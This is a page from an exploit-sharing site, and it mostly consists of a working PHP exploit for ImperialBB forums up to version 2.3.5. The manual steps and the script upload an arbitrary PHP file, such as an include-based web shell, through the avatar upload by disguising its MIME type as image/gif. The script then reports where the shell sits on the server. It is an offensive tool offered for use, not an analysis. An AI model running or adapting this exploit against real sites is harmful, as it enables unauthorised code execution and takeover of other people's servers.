0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ImperialBB <= 2.3.5 Remote File Upload Exploit
============================================== ImperialBB <= 2.3.5 Remote File Upload Exploit ============================================== Title : ImperialBB <= 2.3.5 Remote File Upload Vulnerability Date : 5th July 2008 Howto : 1. Go to your User Control Panel 2. Upload any file you want 3. Tamper the request and change the mime-type to : image/gif 4. There is your file : http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext] <?php /* Title : ImperialBB <= 2.3.5 Remote Upload Vulnerability Date : 5th July 2008 Found by : PHPLizardo Description : This vulnerability can be used by a attacker to upload a malicious script on the webserver. Greetz : irc.worldnet.net #carib0u */ if(count($argv) == 5) { echo "\n\n"; echo "+---------------------------------------------------------------+\r\n"; echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n"; echo "| By PHPLizardo - irc.worldnet.net #carib0u |\r\n"; echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n"; echo "Code to write in the file (ie. <?php include(\$_GET['inc']); ?>) :\r\n\n"; $code = trim(fgets(STDIN)); $socket = @fsockopen($argv[1], 80, $eno, $estr, 30); if(!$socket) { die("Could not connect to ".$argv[1].". Operation aborted."); } $part1 = "POST " . $argv[2] . "profile.php?func=edit HTTP/1.1\r\n"; $part1 .= "Host: " . $argv[1] . "\r\n"; $part1 .= "Accept: */*\r\n"; $part1 .= "Connection: Close\r\n"; $part1 .= "Cookie: UserName=" . $argv[3] . "; Password=" . md5(md5($argv[4])) . "\r\n"; $part1 .= "Content-Type: multipart/form-data; boundary=---------------------------200831142015814\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Email\"\r\n\r\n"; $part2 .= "test@test.test\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Email2\"\r\n\r\n"; $part2 .= "test@test.test\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"PassWord\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Pass2\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"signature\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"aim\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"icq\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"msn\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"yahoo\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Remote_Avatar_URL\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Upload_Avatar\"; filename=\"funypicture.php\"\r\n"; $part2 .= "Content-Type: image/gif\r\n\r\n"; $part2 .= $code."\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"month\"\r\n\r\n"; $part2 .= "00\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"day\"\r\n\r\n"; $part2 .= "00\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"year\"\r\n\r\n"; $part2 .= "0000\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"website\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"location\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"email_on_pm\"\r\n\r\n"; $part2 .= "0\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"OldPass\"\r\n\r\n\r\n"; $part2 .= "-----------------------------200831142015814\r\n"; $part2 .= "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"; $part2 .= "Submit\r\n"; $part2 .= "-----------------------------200831142015814--\r\n"; $part1 .= "Content-Length: " . strlen($part2) . "\r\n\r\n"; $part1 .= $part2; fwrite($socket, $part1); echo "It might have worked, check if your file is online at -> http://" . $argv[1] . $argv[2] . "/images/avatars/uploads/" . $argv[3] . "_funypicture.php"; } else { echo "\n\n"; echo "+----.-----------------------------------------------------------+\r\n"; echo "| ImperialBB <= 2.3.5 Remote Upload Vulnerability |\r\n"; echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+---------------------------------------------------------------+\r\n"; echo "\n\n"; } ?> # 0day.today [2024-07-04] #